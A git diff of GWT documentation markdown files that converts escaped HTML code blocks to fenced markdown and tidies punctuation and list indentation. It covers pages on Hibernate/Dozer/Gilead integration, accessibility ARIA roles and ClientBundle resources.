-      &lt;a&gt;records&lt;/a&gt;
-      &lt;b&gt;records&lt;/b&gt;
-    &lt;/field-exclude&gt;
-  &lt;/mapping&gt;
+```
+<mappings>
+  <mapping>
+    <class-a>com.google.musicstore.domain.Account</class-a>
+    <class-b>com.google.musicstore.dto.AccountDTO</class-b>
+    <field-exclude>
+      <a>records</a>
+      <b>records</b>
+    </field-exclude>
+  </mapping>
 
-  &lt;mapping&gt;
-    &lt;class-a&gt;com.google.musicstore.domain.Record&lt;/class-a&gt;
-    &lt;class-b&gt;com.google.musicstore.dto.RecordDTO&lt;/class-b&gt;
-  &lt;/mapping&gt;
-&lt;/mappings&gt;
-</pre>
+  <mapping>
+    <class-a>com.google.musicstore.domain.Record</class-a>
+    <class-b>com.google.musicstore.dto.RecordDTO</class-b>
+  </mapping>
+</mappings>
+
+```
 
 One of the nice things about Dozer is that it automatically takes care of copying data between two classes for properties that exist in both classes that have the same field type and name. Since the `Account` / `Record` objects and their DTO equivalents both use the same property names, we're already done with our Dozer mappings as configured above. Save this mapping file to `dozerBeanMapping.xml`, and place it on the project classpath. Now all we need to have our previous DTO solution use Dozer is remove the copy logic we added as it is no longer needed, and use the Dozer mappings to copy our Hibernate data to our DTOs, and send them over the wire.
 
 The method signatures for all three GWT RPC `MusicStore` service components remain the same. What changes is simply the copy logic from Hibernate object to DTO in the `MusicStoreServiceImpl` method implementations. Anywhere we would have had `createAccountDTO()` or `createRecordDTO()` calls, we will now have:
 
-<pre class="code">
+```
 DozerBeanMapperSingletonWrapper.getInstance().map(account, AccountDTO.class));
 // or
 DozerBeanMapperSingletonWrapper.getInstance().map(record, RecordDTO.class));
-</pre>
+
+```
 
 And similarly the other way around when we need to create a Hibernate object from an incoming DTO.
 
@@ -658,7 +684,7 @@
 2.  Making your remote RPC services extend `[PersistentRemoteService](http://gilead.svn.sourceforge.net/viewvc/gilead/gilead/branches/1.2/adapter4gwt/src/net/sf/gilead/gwt/PersistentRemoteService.java?revision=896&view=markup)` instead of `[RemoteServiceServlet](/javadoc/latest/com/google/gwt/user/server/rpc/RemoteServiceServlet.html)`.
 3.  Configuring your beanManager for your GWT RPC service as shown in the code snippet below (see [Gilead documentation](http://noon.gilead.free.fr/gilead/index.php?page=documentation) for more on configuring bean managers):
 
-    <pre class="code">
+```
 public class UserRemoteImpl extends PersistentRemoteService implements UserRemote {
   ...
 
@@ -673,7 +699,8 @@
         setBeanManager(persistentBeanManager);
   }
 }
-</pre>
+
+```
 
 Once this configuration is in place, our Hibernate entities are automatically converted into types that can be transferred over RPC and used in client-side GWT code, without any other coding or mapping needing to be defined on our part.
 
@@ -683,41 +710,44 @@
 
 **Account.java**
 
-<pre class="code">
+```
 import net.sf.gilead.pojo.java5.LightEntity;
 
 public class Account extends LightEntity implements Serializable {
   // ...
 }
-</pre>
+
+```
 
 **Record.java**
 
-<pre class="code">
+```
 import net.sf.gilead.pojo.java5.LightEntity;
 
 public class Account extends LightEntity implements Serializable {
   // ...
 }
-</pre>
+
+```
 
 2) Making your remote RPC service extend `PersistentRemoteService`
 
 **MusicStoreServiceImpl.java**
 
-<pre class="code">
+```
 import net.sf.gilead.gwt.PersistentRemoteService;
 
 public class MusicStoreServiceImpl extends PersistentRemoteService implements MusicStoreService {
   // ...
 }
-</pre> 
+
+```
 
 3) Configure your `beanManager` for your GWT RPC service as shown in the code snippet above
 
 **MusicStoreServiceImpl.java**
 
-<pre class="code">
+```
 import net.sf.gilead.core.PersistentBeanManager;
 import net.sf.gilead.core.hibernate.HibernateUtil;
 import net.sf.gilead.core.store.stateless.StatelessProxyStore;
@@ -739,13 +769,16 @@
     setBeanManager(persistentBeanManager);
   }
 }
-</pre>
+
+```
 
 There is a change to note here, aside from the new constructor that sets up the bean manager. We're now using `net.sf.gilead.core.hibernate.HibernateUtil` in addition to the `HibernateUtil` class we defined in the util package. This is required to setup Gilead appropriately.
 
 And that's all there is to it. We're ready to go with the original calls we made from our GWT RPC service interfaces on the client-side referring the `Account` and `Record` objects. Try executing the command below to compile the application with the Gilead approach and see it running in hosted mode:
 
-<pre class="code">ant clean build hosted</pre>
+```
+ant clean build hosted
+```
 
 Once more, you can download a version of the sample application we've been building with the Gilead solution fully implemented [here](http://google-web-toolkit.googlecode.com/files/gwt_hibernate_gilead.zip).
 
diff --git a/src/main/markdown/books.md b/src/main/markdown/books.md
index 19011af..43cdc04 100644
--- a/src/main/markdown/books.md
+++ b/src/main/markdown/books.md
@@ -63,7 +63,7 @@
           </div>
         </div>
       </td>
-    </tr>                                            	                        
+    </tr>
     <tr>
       <td>
         <a href="http://www.informit.com/store/google-web-toolkit-solutions-more-cool-useful-stuff-9780132345347">
@@ -162,7 +162,7 @@
   </tbody>
 </table>
 
-<a name="related"></a>
+<a id="related"></a>
 ## Related frameworks<a id="prereqs"></a>
 
 <table class="columns" style="clear: left;">
diff --git a/src/main/markdown/community-group-charter.md b/src/main/markdown/community-group-charter.md
index 6280cb5..158143c 100644
--- a/src/main/markdown/community-group-charter.md
+++ b/src/main/markdown/community-group-charter.md
@@ -33,7 +33,7 @@
 courteous does not mean we can't constructively disagree with
 each other, but it does mean that we must be polite when we do so.
 There's **never** a reason to be antagonistic or
-dismissive toward anyone;&nbsp; if you think there is, you should think again before you post.
+dismissive toward anyone; if you think there is, you should think again before you post.
 
     Sure, web development is serious business and all that, but it's
 also a lot of fun. Let's keep it that way. Let's strive to be one of the
@@ -43,16 +43,16 @@
 
     Most topics are technical discussions of GWT or users helping each other,
 but this Group is intended for discussion of everything under the Sun
-in the world of GWT.&nbsp; That means we also welcome announcements and
+in the world of GWT. That means we also welcome announcements and
 discussion of products, libraries, publications, and other interesting
-GWT-related news.&nbsp; We even welcome (polite!) discussion of
+GWT-related news. We even welcome (polite!) discussion of
 articles and ideas critical of GWT -- after all, we can't improve if we
-don't listen.&nbsp; There are no restrictions on the subject matter,
+don't listen. There are no restrictions on the subject matter,
 and we don't exclude commercial products from our discussion, if users
-are interested in talking about them.&nbsp;</p>
+are interested in talking about them. </p>
 
     However, we hate spam almost as passionately as we love courtesy and respect, so we
-reserve the right to limit discussions that amount to spam.&nbsp;
+reserve the right to limit discussions that amount to spam.
 Outright spam, of course, will result in that user being immediately
 and permanently banned from the list.
 
diff --git a/src/main/markdown/doc/latest/DevGuide.md b/src/main/markdown/doc/latest/DevGuide.md
index 34000f9..2e4b1a3 100644
--- a/src/main/markdown/doc/latest/DevGuide.md
+++ b/src/main/markdown/doc/latest/DevGuide.md
@@ -9,34 +9,34 @@
 
 ## Tutorials
 
-1.  [Create, build and run a GWT application](tutorial/gettingstarted.html) &ndash; Create, build, debug and compile a sample application.
-2.  [Communicating with the server](tutorial/clientserver.html) &ndash; Add an asynchronous call to a web server using GWT RPC or JSON, serialize Java objects, and handle exceptions
-3.  [Internationalizing a GWT application](tutorial/i18n.html) &ndash; Translate the user interface of a GWT application into another language
-4.  [Unit testing with JUnit](tutorial/JUnit.html) &ndash; Add unit tests to a GWT application using JUnit
-5.  [Deploying to Google App Engine](tutorial/appengine.html) &ndash; Deploy a GWT application to App Engine
+1.  [Create, build and run a GWT application](tutorial/gettingstarted.html) -- Create, build, debug and compile a sample application.
+2.  [Communicating with the server](tutorial/clientserver.html) -- Add an asynchronous call to a web server using GWT RPC or JSON, serialize Java objects, and handle exceptions
+3.  [Internationalizing a GWT application](tutorial/i18n.html) -- Translate the user interface of a GWT application into another language
+4.  [Unit testing with JUnit](tutorial/JUnit.html) -- Add unit tests to a GWT application using JUnit
+5.  [Deploying to Google App Engine](tutorial/appengine.html) -- Deploy a GWT application to App Engine
 
 ## Developer Guide
 
-1.  [Organize Projects](DevGuideOrganizingProjects.html) &ndash; Describes conventions to identify which code is intended to run on the client browser, the server, or both
-2.  [Compile &amp; Debug](DevGuideCompilingAndDebugging.html) &ndash; Describes development and production modes
-3.  [Coding Basics](DevGuideCodingBasics.html) &ndash; Describes GWT programming fundamentals
-4.  [Build User Interfaces](DevGuideUi.html) &ndash; How to work with widgets, panels, the DOM, events, CSS, declarative UI and images. <sup class="version-sup">Cell widgets / Editors - 2.1, Cell tables - 2.2</sup>
-5.  [HTML5 Feature Support](DevGuideHtml5.html) <sup class="version-sup">2.3</sup> &ndash; Describes GWT support for HTML5 features, such as Storage, Canvas, Audio, Video, drag and drop, and so forth.
+1.  [Organize Projects](DevGuideOrganizingProjects.html) -- Describes conventions to identify which code is intended to run on the client browser, the server, or both
+2.  [Compile &amp; Debug](DevGuideCompilingAndDebugging.html) -- Describes development and production modes
+3.  [Coding Basics](DevGuideCodingBasics.html) -- Describes GWT programming fundamentals
+4.  [Build User Interfaces](DevGuideUi.html) -- How to work with widgets, panels, the DOM, events, CSS, declarative UI and images. <sup class="version-sup">Cell widgets / Editors - 2.1, Cell tables - 2.2</sup>
+5.  [HTML5 Feature Support](DevGuideHtml5.html) <sup class="version-sup">2.3</sup> -- Describes GWT support for HTML5 features, such as Storage, Canvas, Audio, Video, drag and drop, and so forth.
 6.  [Security for GWT Applications](../../articles/security_for_gwt_applications.html) - How to secure your GWT applications against JavaScript attacks
-7.  [Security: Safe HTML](DevGuideSecuritySafeHtml.html) <sup class="version-sup">2.1</sup> &ndash; Describes coding guidelines that prevent a large class of Cross-Site-Scripting (XSS) vulnerabilities
-8.  [Security: GWT RPC XSRF protection](DevGuideSecurityRpcXsrf.html) <sup class="version-sup">2.3</sup> &ndash; Describes how to prevent Cross-Site Request Forgery (XSRF or CSRF) vulnerabilities in GWT RPCs
-9.  [MVP Framework](DevGuideMvpActivitiesAndPlaces.html) <sup class="version-sup">2.1</sup> &ndash; Sample app and documentation showing how to use Activities, Places, and the EventBus.
-10.  [RequestFactory](DevGuideRequestFactory.html) <sup class="version-sup">2.1</sup> &ndash; Guide to creating data-oriented services using RequestFactory and EntityProxy classes.
-11.  [Logging](DevGuideLogging.html) <sup class="version-sup">2.1</sup> &ndash; Describes how to log events in client-side code in GWT applications.
-12.  [Accessibility](DevGuideA11y.html)  <sup class="version-sup">2.5</sup> &ndash; Describes features that enable screen readers to interpret what is displayed on the screen for a visually impaired user
-13.  [Internationalization](DevGuideI18n.html) &ndash; Describes a flexible set of tools to help you internationalize your applications and libraries
-14.  [Communicate with a Server](DevGuideServerCommunication.html) &ndash; Describes a couple of different ways to communicate with a server via HTTP
-15.  [Test with JUnit](DevGuideTesting.html) &ndash; Describes how to use the JUnit unit testing framework and Emma code coverage tool
-16.  [Deploy](DevGuideDeploying.html) &ndash; Describes how to deploy both client- and server-side JavaScript
-17.  [Optimize](DevGuideOptimizing.html) &ndash; Describes how to improve the performance of your application
+7.  [Security: Safe HTML](DevGuideSecuritySafeHtml.html) <sup class="version-sup">2.1</sup> -- Describes coding guidelines that prevent a large class of Cross-Site-Scripting (XSS) vulnerabilities
+8.  [Security: GWT RPC XSRF protection](DevGuideSecurityRpcXsrf.html) <sup class="version-sup">2.3</sup> -- Describes how to prevent Cross-Site Request Forgery (XSRF or CSRF) vulnerabilities in GWT RPCs
+9.  [MVP Framework](DevGuideMvpActivitiesAndPlaces.html) <sup class="version-sup">2.1</sup> -- Sample app and documentation showing how to use Activities, Places, and the EventBus.
+10.  [RequestFactory](DevGuideRequestFactory.html) <sup class="version-sup">2.1</sup> -- Guide to creating data-oriented services using RequestFactory and EntityProxy classes.
+11.  [Logging](DevGuideLogging.html) <sup class="version-sup">2.1</sup> -- Describes how to log events in client-side code in GWT applications.
+12.  [Accessibility](DevGuideA11y.html)  <sup class="version-sup">2.5</sup> -- Describes features that enable screen readers to interpret what is displayed on the screen for a visually impaired user
+13.  [Internationalization](DevGuideI18n.html) -- Describes a flexible set of tools to help you internationalize your applications and libraries
+14.  [Communicate with a Server](DevGuideServerCommunication.html) -- Describes a couple of different ways to communicate with a server via HTTP
+15.  [Test with JUnit](DevGuideTesting.html) -- Describes how to use the JUnit unit testing framework and Emma code coverage tool
+16.  [Deploy](DevGuideDeploying.html) -- Describes how to deploy both client- and server-side JavaScript
+17.  [Optimize](DevGuideOptimizing.html) -- Describes how to improve the performance of your application
 18.  [IE9 Support - Tips and Tricks](DevGuideIE9.html) <sup class="version-sup">2.3</sup> - Support for Internet Explorer 9
-19.  [Reference](RefGuide.html) &ndash; Provides javadoc for GWT and related libraries and technical details for GWT widgets
-20.  [FAQ](FAQ.html) &ndash; Frequently asked questions
-21.  [Glossary](DevGuideGlossary.html) &ndash; GWT terminology
+19.  [Reference](RefGuide.html) -- Provides javadoc for GWT and related libraries and technical details for GWT widgets
+20.  [FAQ](FAQ.html) -- Frequently asked questions
+21.  [Glossary](DevGuideGlossary.html) -- GWT terminology
 
 
diff --git a/src/main/markdown/doc/latest/DevGuideA11y.md b/src/main/markdown/doc/latest/DevGuideA11y.md
index d105f1b..1511b7e 100644
--- a/src/main/markdown/doc/latest/DevGuideA11y.md
+++ b/src/main/markdown/doc/latest/DevGuideA11y.md
@@ -44,7 +44,7 @@
 
 An ARIA `role` attribute is added to HTML elements to define widgets and page structure elements that can be interpreted by a reader application/device, and therefore describes the way the widget should behave. A role is static and does not change over the lifetime of a widget. Some examples of ARIA roles: `tree`, `menubar`, `menuitem`, and `tab`. The ARIA role of a widget is expressed as a DOM attribute named `role` with its value set to one of the ARIA role strings.
 
-There are also ARIA properties and states. ARIA states supply information about the changes in the web page that can be used for alerts, notification, navigation assistance. The state is changed as a result of an user interaction and developers should consider changing the widget state when handling user actions. For example, a checkbox widget could be in the states &quot;checked&quot; or &quot;unchecked&quot;. A state is dynamic and should be updated during user interaction. Some examples of ARIA states: `aria-disabled`, `aria-pressed` and `aria-expanded`. An ARIA property is a characteristic feature of a widget that can change over time but more rarely than the ARIA state, and is often not changed as a result of user action. Examples of properties are `aria-haspopup`, `aria-label` and `aria-level`, which are semantic information about the interactivity between the page layout and a particular widget. ARIA states and properties are DOM attributes themselves &mdash; for example, to express that a toggle button widget has been pressed, we need to add the attribute `aria-pressed = 'true'` to the widgets HTML element. As another example,  a textarea widget that has a popup attached when in focus will have the attribute `aria-haspopup = 'true'`.
+There are also ARIA properties and states. ARIA states supply information about the changes in the web page that can be used for alerts, notification, navigation assistance. The state is changed as a result of an user interaction and developers should consider changing the widget state when handling user actions. For example, a checkbox widget could be in the states "checked" or "unchecked". A state is dynamic and should be updated during user interaction. Some examples of ARIA states: `aria-disabled`, `aria-pressed` and `aria-expanded`. An ARIA property is a characteristic feature of a widget that can change over time but more rarely than the ARIA state, and is often not changed as a result of user action. Examples of properties are `aria-haspopup`, `aria-label` and `aria-level`, which are semantic information about the interactivity between the page layout and a particular widget. ARIA states and properties are DOM attributes themselves &mdash; for example, to express that a toggle button widget has been pressed, we need to add the attribute `aria-pressed = 'true'` to the widgets HTML element. As another example,  a textarea widget that has a popup attached when in focus will have the attribute `aria-haspopup = 'true'`.
 
 The role of a widget determines the set of states and properties that it supports. A widget with the role of `list`, for example, would not expose the `aria-pressed` state but will have the `aria-expanded` state.
 
@@ -93,14 +93,14 @@
 Adding the `button` role indicates to an assistive technology that the widget will behave like a
 button.
 
-<pre class="prettyprint">
-  protected CustomButton() {
+```
+protected CustomButton() {
     ...
     // Add a11y role "button"
     Roles.getButtonRole().set(getElement());
     ...
   }
-</pre>
+```
 
 ## Adding ARIA Properties and States<a id="ariaPropertiesAndStates"></a>
 
@@ -128,14 +128,14 @@
 
 In the CustomButton widget, the `aria-pressed` and `aria-disabled` ARIA state is initialized as follows:
 
-<pre class="prettyprint">
-  protected CustomButton() {
+```
+protected CustomButton() {
     ...
-    // Add a11y state &quot;aria-pressed&quot; and &quot;aria-disabled&quot;
+    // Add a11y state "aria-pressed" and "aria-disabled"
     Roles.getButtonRole().setAriaPressedState(getElement(), PressedValue.of(false));
     Roles.getButtonRole().setAriaDiabledState(getElement(), false);
   }
-</pre>
+```
 
 #### Updating States During User Interaction
 
@@ -144,28 +144,27 @@
 the case with the CustomButton subclass [ToggleButton](/javadoc/latest/com/google/gwt/user/client/ui/ToggleButton.html). Event handlers attached
 to the underlying DOM element update the button faces when the button is pressed. We need to toggle the ARIA state `aria-pressed` as shown below.
 
-<pre class="prettyprint">
-  void toggleDown() {
-    // Update a11y state &quot;aria-pressed&quot;
+```
+void toggleDown() {
+    // Update a11y state "aria-pressed"
     Roles.getButtonRole().setAriaPressedState(getElement(), PressedValue.of(true));
   }
 
   void toggleUp() {
-    // Update a11y state &quot;aria-pressed&quot;
+    // Update a11y state "aria-pressed"
     Roles.getButtonRole().setAriaPressedState(getElement(), PressedValue.of(false));
   }
 
   void setInactive() {
-    // Update a11y state &quot;aria-disabled&quot;
+    // Update a11y state "aria-disabled"
     Roles.getButtonRole().setAriaDiabledState(getElement(), false);
   }
 
   void setActive() {
-    // Update a11y state &quot;aria-disabled&quot;
+    // Update a11y state "aria-disabled"
     Roles.getButtonRole().setAriaDiabledState(getElement(), true);
   }
-
-</pre>
+```
 
 It is important to make sure that all event handlers that change the state of the widget also change the ARIA state.
 
@@ -187,12 +186,12 @@
 still allows the element to receive keyboard focus programmatically. Tabindex support can be added for any role by
 setting the `tabindex` ARIA attribute. The code below shows how to add the heading element to the natural tab
 order of the page.  You might want to do this if you want to allow further interaction with the heading (e.g. for some type of
-clickable heading). 
+clickable heading).
 
-<pre class="prettyprint">
-  // Set tab index for a heading element
+```
+// Set tab index for a heading element
   Roles.getHeadingRole().setTabindexExtraAttribute(heading.getElement(), 0);
-</pre>
+```
 
 In GWT, any widget that extends the [FocusWidget](/javadoc/latest/com/google/gwt/user/client/ui/FocusWidget.html) abstract class will be keyboard focusable by default. The FocusWidget abstract class includes a
 [setFocus(boolean)](/javadoc/latest/com/google/gwt/user/client/ui/FocusWidget.html#setFocus(boolean)) method that
@@ -224,8 +223,8 @@
 
 First, we set roles on the Tree's root element and its focusable element:
 
-<pre class="prettyprint">
-  // Called from Tree(...) constructor
+```
+// Called from Tree(...) constructor
   private void init(TreeImages images, boolean useLeafImages) {
 
     ...
@@ -241,7 +240,7 @@
     ...
 
     // Hide element and append it to root div
-    DOM.setIntStyleAttribute(focusable, &quot;zIndex&quot;, -1);
+    DOM.setIntStyleAttribute(focusable, "zIndex", -1);
     DOM.appendChild(getElement(), focusable);
 
     // Listen for key events on the root element
@@ -252,12 +251,12 @@
     // Add a11y role "tree" to the focusable element
     Roles.getTreeRole().set(focusable);
  }
-</pre>
+```
 
 Whenever an item selection changes, the value of the `aria-activedescendant` property is set on the focusable element, and the ARIA states and properties of the currently-selected item are set:
 
-<pre class="prettyprint">
-  // Called after a new item has been selected
+```
+// Called after a new item has been selected
   private void updateAriaAttributes() {
 
     // Get the element which contains the text (or widget) content within
@@ -279,7 +278,7 @@
     Roles.getTreeRole().setAriaActivedescendantProperty(focusable,
         IdReference.of(DOM.getElementAttribute(curSelectionContentElem, "id")));
   }
-</pre>
+```
 
 Though it is not shown in this code snippet, when TreeItems are created, they are constructed out of several divs, only one of which contains the content that we wish to be
 interpreted by the screen reader. This div is assigned a unique DOM id (which is generated using the [DOM.createUniqueId()](/javadoc/latest/com/google/gwt/user/client/DOM.html#createUniqueId()) method), and a role of `treeitem`. These attributes are not set on the root TreeItem div because it contains a child image, which we do not want to be read.
@@ -316,44 +315,44 @@
 
 The ARIA role `region` is added when instantiating the relevant DOM nodes in the AutoCompleteWidget constructor:
 
-<pre class="prettyprint">
-  public AutoCompleteWidget() {
+```
+public AutoCompleteWidget() {
     ...
     // Create a hidden div where we store the current item text for a
     // screen reader to speak
     ariaElement = DOM.createDiv();
-    DOM.setStyleAttribute(ariaElement, &quot;display&quot;, &quot;none&quot;);
+    DOM.setStyleAttribute(ariaElement, "display", "none");
     Roles.getRegionRole(ariaElement);
     Roles.getRegionRole().getAriaLiveProperty(ariaElement, LiveValue.ASSERTIVE);
     DOM.appendChild(getElement(), ariaElement);
   }
-</pre>
+```
 
 Here, we have created a hidden div element that holds the content to be spoken. We've declared it to have `role = 'region'` and `live = 'assertive'`; the latter setting specifies that updates to this content have the highest priority. Next, we set up the needed associations so that the set of suggestions returned as the user types into the AutoCompleteWidget's text box are put in hidden div:
 
-<pre class="prettyprint">
-    // This method is called via a keyboard event handler
+```
+// This method is called via a keyboard event handler
     private void showSuggestions(Collection suggestions) {
-      if (suggestions.size() &gt; 0) {
+      if (suggestions.size() > 0) {
 
         // Popupulate the visible suggestion pop-up widget with the new selections
         // and show them
         ....
         // Generate the hidden div content based on the suggestions
-        String hiddenDivText = &quot;Suggestions &quot;;
+        String hiddenDivText = "Suggestions ";
 
         for (Suggestion curSuggestion : suggestions) {
-          hiddenDivText += &quot; &quot; + curSuggestion.getDisplayString();
+          hiddenDivText += " " + curSuggestion.getDisplayString();
         }
 
         DOM.setInnerText(ariaElement, hiddenDivText);
       }
     }
-</pre>
+```
 
 #### Problems with this Approach
 
-With this technique, the developer has complete control over the text that is spoken by the screen reader. While this seems like a good thing for the developer, it's not great for users of screen readers. Taking this approach, developers of AutoComplete widgets may decide on different text that the screen reader should read. For example, another screen reader might prefix each suggestion with the &quot;Suggestion x&quot;, where x is the index of the suggestion in the list. This leads to an inconsistent experience across applications. If both developers were able to make use of ARIA roles, properties and states, then a more consistent experience would result, in accordance with the ARIA specification.
+With this technique, the developer has complete control over the text that is spoken by the screen reader. While this seems like a good thing for the developer, it's not great for users of screen readers. Taking this approach, developers of AutoComplete widgets may decide on different text that the screen reader should read. For example, another screen reader might prefix each suggestion with the "Suggestion x", where x is the index of the suggestion in the list. This leads to an inconsistent experience across applications. If both developers were able to make use of ARIA roles, properties and states, then a more consistent experience would result, in accordance with the ARIA specification.
 
 A more direct problem with this approach is internationalization. Most developers would realize that the list of suggestions needs to be translated into different languages;
 this list is directly displayed on the screen. However, the word 'Suggestions', which is the first word on the live region, could easily be missed, since it is never visually
diff --git a/src/main/markdown/doc/latest/DevGuideClientBundle.md b/src/main/markdown/doc/latest/DevGuideClientBundle.md
index 07d7d61..68b79f3 100644
--- a/src/main/markdown/doc/latest/DevGuideClientBundle.md
+++ b/src/main/markdown/doc/latest/DevGuideClientBundle.md
@@ -38,39 +38,47 @@
 
 To use [ClientBundle](/javadoc/latest/index.html?com/google/gwt/resources/client/ClientBundle.html), add an `inherits` tag to your `gwt.xml` file:
 
-<pre class="prettyprint">&lt;inherits name=&quot;com.google.gwt.resources.Resources&quot; /&gt;</pre>
+```
+<inherits name="com.google.gwt.resources.Resources" />
+```
 
 If you write this interface:
 
-<pre class="prettyprint">public interface MyResources extends ClientBundle {
+```
+
+public interface MyResources extends ClientBundle {
   public static final MyResources INSTANCE =  GWT.create(MyResources.class);
 
-  @Source(&quot;my.css&quot;)
+  @Source("my.css")
   public CssResource css();
 
-  @Source(&quot;config.xml&quot;)
+  @Source("config.xml")
   public TextResource initialConfiguration();
 
-  @Source(&quot;manual.pdf&quot;)
+  @Source("manual.pdf")
   public DataResource ownersManual();
-}</pre>
+}
+```
 
 You can then say:
 
-<pre class="prettyprint">  // Inject the contents of the CSS file
+```  // Inject the contents of the CSS file
   MyResources.INSTANCE.css().ensureInjected();
 
   // Display the manual file in an iframe
-  new Frame(MyResources.INSTANCE.ownersManual().getSafeUri().asString());</pre>
+  new Frame(MyResources.INSTANCE.ownersManual().getSafeUri().asString());
+```
 
 ### I18N<a id="I18N"></a>
 
 `ClientBundle` is compatible with GWT's I18N module.
 
-Suppose you defined a resource: 
+Suppose you defined a resource:
 
-<pre class="prettyprint">@Source(&quot;default.txt&quot;)
-public TextResource defaultText();</pre>
+```
+@Source("default.txt")
+public TextResource defaultText();
+```
 
 For each possible value of the `locale` deferred-binding property, the `ClientBundle` generator will look for variations of the specified filename in a manner similar to that of Java's `ResourceBundle`.
 
@@ -116,7 +124,8 @@
 
 A [DataResource](/javadoc/latest/index.html?com/google/gwt/resources/client/DataResource.html) is the simplest of the resource types, offering a URL by which the contents of a file can be retrieved at runtime.  The main optimization offered is to automatically rename files based on their contents in order to make the resulting URL strongly-cacheable by the browser.  Very small files may be converted into `data:` URLs on those browsers that support them.
 
-<pre class="prettyprint">interface Resources extends ClientBundle {
+```
+interface Resources extends ClientBundle {
   Resources INSTANCE = GWT.create(Resources.class);
 
   @Source("mycursor.cur")
@@ -125,7 +134,7 @@
 
 // Elsewhere
 someDiv.getStyle().setProperty("cursor", "url(" + Resources.INSTANCE.customCursor().getUrl() + ")");
-</pre>
+```
 
 Resources that are not appropriate for being inlined into the compiled JavaScript as `data:` URLs will be emitted into the compilation output with strong names, based on the contents of the file.  For example, `foo.pdf` will be given a name similar to `ABC1234.cache.pdf`.  The webserver should be configured to serve any files matching the `*.cache.*` glob with publicly-cacheable headers and a far-future `Expires` header.
 
@@ -133,7 +142,8 @@
 
 The related resource types [TextResource](/javadoc/latest/index.html?com/google/gwt/resources/client/TextResource.html) and [ExternalTextResource](/javadoc/latest/index.html?com/google/gwt/resources/client/ExternalTextResource.html) provide access to static text content.  The main difference between these two types is that the former interns the text into the compiled JavaScript, while the latter bundles related text resources into a single file, which is accessed asynchronously.
 
-<pre class="prettyprint">interface Resources extends ClientBundle {
+```
+interface Resources extends ClientBundle {
   Resources INSTANCE = GWT.create(Resources.class);
 
   @Source("a.txt")
@@ -147,13 +157,13 @@
 myTextArea.setInnerText(Resources.INSTANCE.synchronous().getText());
 
 // Using an ExternalTextResource
-Resources.INSTANCE.asynchronous().getText(new ResourceCallback&lt;TextResource&gt;() {
+Resources.INSTANCE.asynchronous().getText(new ResourceCallback<TextResource>() {
   public void onError(ResourceException e) { ... }
   public void onSuccess(TextResource r) {
     myTextArea.setInnerText(r.getText());
   }
 });
-</pre>
+```
 
 ## ImageResource<a id="ImageResource"></a>
 
@@ -179,21 +189,25 @@
 For each accessor method, add an @Source annotation with the path of the new image you want to add to your program.
 The ClientBundle generator combines all of the images defined in your interface into a single, optimized image.
 
-<pre class="prettyprint">interface Resources extends ClientBundle {
+```
+interface Resources extends ClientBundle {
   @Source("logo.png")
   ImageResource logo();
 
   @Source("arrow.png")
   @ImageOptions(flipRtl = true)
   ImageResource pointer();
-}</pre>
+}
+```
 2.  Instantiate the `ClientBundle` via a call to `GWT.create()`. </li>
 3.  Instantiate one or more Image widget or use with the <a href="#Image_Sprites">CssResource @sprite</a> directive.
 
 For example, the code:
 
-<pre class="prettyprint">Resources resources = GWT.create(Resources.class);
-Image img = new Image(resources.logo());</pre>
+```
+Resources resources = GWT.create(Resources.class);
+Image img = new Image(resources.logo());
+```
 
 causes GWT to load the composite image generated for Resources and then creates an Image that is the correct subregion for just the logo image.</li>
 
@@ -223,22 +237,23 @@
 
 The [GwtCreateResource](/javadoc/latest/index.html?com/google/gwt/resources/client/GwtCreateResource.html) is a bridge type between `ClientBundle` and any other (resource) type that is default-instantiable. The instance of the `GwtCreateResource` acts as a factory for some other type.
 
-<pre class="prettyprint">interface Resources extends ClientBundle {
+```
+interface Resources extends ClientBundle {
   Resources INSTANCE = GWT.create(Resources.class);
 
   @ClassType(SomeClass.class)
-  GwtCreateResource&lt;ReturnType&gt; factory();
+  GwtCreateResource<ReturnType> factory();
 }
 
 // Elsewhere
 ReturnType obj = Resources.INSTANCE.factory().create();
-</pre>
+```
 
 While the above is equivalent to
 
-<pre class="prettyprint">
-ReturnType obj = GWT.&lt;ReturnType&gt; create(SomeClass.class);
-</pre>
+```
+ReturnType obj = GWT.<ReturnType> create(SomeClass.class);
+```
 
 it allows the consuming classes to be ignorant of the specific class literal passed into `GWT.create()`.  It is not necessary for there to be a specific deferred-binding rule in place for `SomeClass` as long as that type is default-instantiable.
 
@@ -277,11 +292,12 @@
 
 *   Primary
     *   Compatibility with non-GWT-aware CSS parsers (i.e. any extensions should be valid CSS syntax)
-        *   This does not imply that the stylesheet would necessarily make sense if you just displayed it in a browser
+    *   This does not imply that the stylesheet would necessarily make sense if you just displayed it in a browser
     *   Syntax validation
     *   Minification
     *   Leverage GWT compiler
-        *   Different CSS for different browsers, automatically*   Static evaluation of content
+        *   Different CSS for different browsers, automatically
+        *   Static evaluation of content
 *   Secondary
     *   Basic CSS Modularization
         *   Via dependency-injection API style
@@ -292,14 +308,14 @@
         *   Constants
         *   Simple expressions
 *   Tertiary
-        *   Runtime manipulation (StyleElement.setEnabled() handles many cases)
-        *   Compile-time class-name checking (Java/CSS)
-        *   Obfuscation
+    *   Runtime manipulation (StyleElement.setEnabled() handles many cases)
+    *   Compile-time class-name checking (Java/CSS)
+    *   Obfuscation
 
 #### Non-Goals
 
 *   Server-side manipulation
-        *   All features in CssResource must be implemented with compile-time and runtime code only.  No features may depend on runtime support from server-side code.
+    *   All features in CssResource must be implemented with compile-time and runtime code only.  No features may depend on runtime support from server-side code.
 
 ### Overview<a id="CssResource_Overview"></a>
 
@@ -307,18 +323,20 @@
 2.  If GWT-specific extensions are used, define a custom subtype of CssResource
 3.  Declare a method that returns CssResource or a subtype in an ClientBundle
 4.  When the bundle type is generated with `GWT.create()` a Java expression that evaluates to the contents of the stylesheets will be created
-        *   Except in the simplest case where the Java expression is a string literal, it is generally not the case that a CSS file could be generated into the module output
+    *   Except in the simplest case where the Java expression is a string literal, it is generally not the case that a CSS file could be generated into the module output
 5.  At runtime, call `CssResource.ensureInjected()` to inject the contents of the stylesheet
-        *   This method is safe to call multiple times, as subsequent invocations will be a no-op
-        *   The recommended pattern is to call `ensureInjected()` in the static initializer of your various widget types
+    *   This method is safe to call multiple times, as subsequent invocations will be a no-op
+    *   The recommended pattern is to call `ensureInjected()` in the static initializer of your various widget types
 
 ### Features<a id="Features"></a>
 
 #### Constants<a id="Constants"></a>
 
-<pre class="prettyprint">@def small 1px;
+```
+@def small 1px;
 @def black #000;
-border: small solid black;</pre>
+border: small solid black;
+```
 
 *   The parse rules make it difficult to use delimiting tokens for substitutions
 *   Redefining built-in sizes allows users to write plain CSS to draft a style and then tweak it.
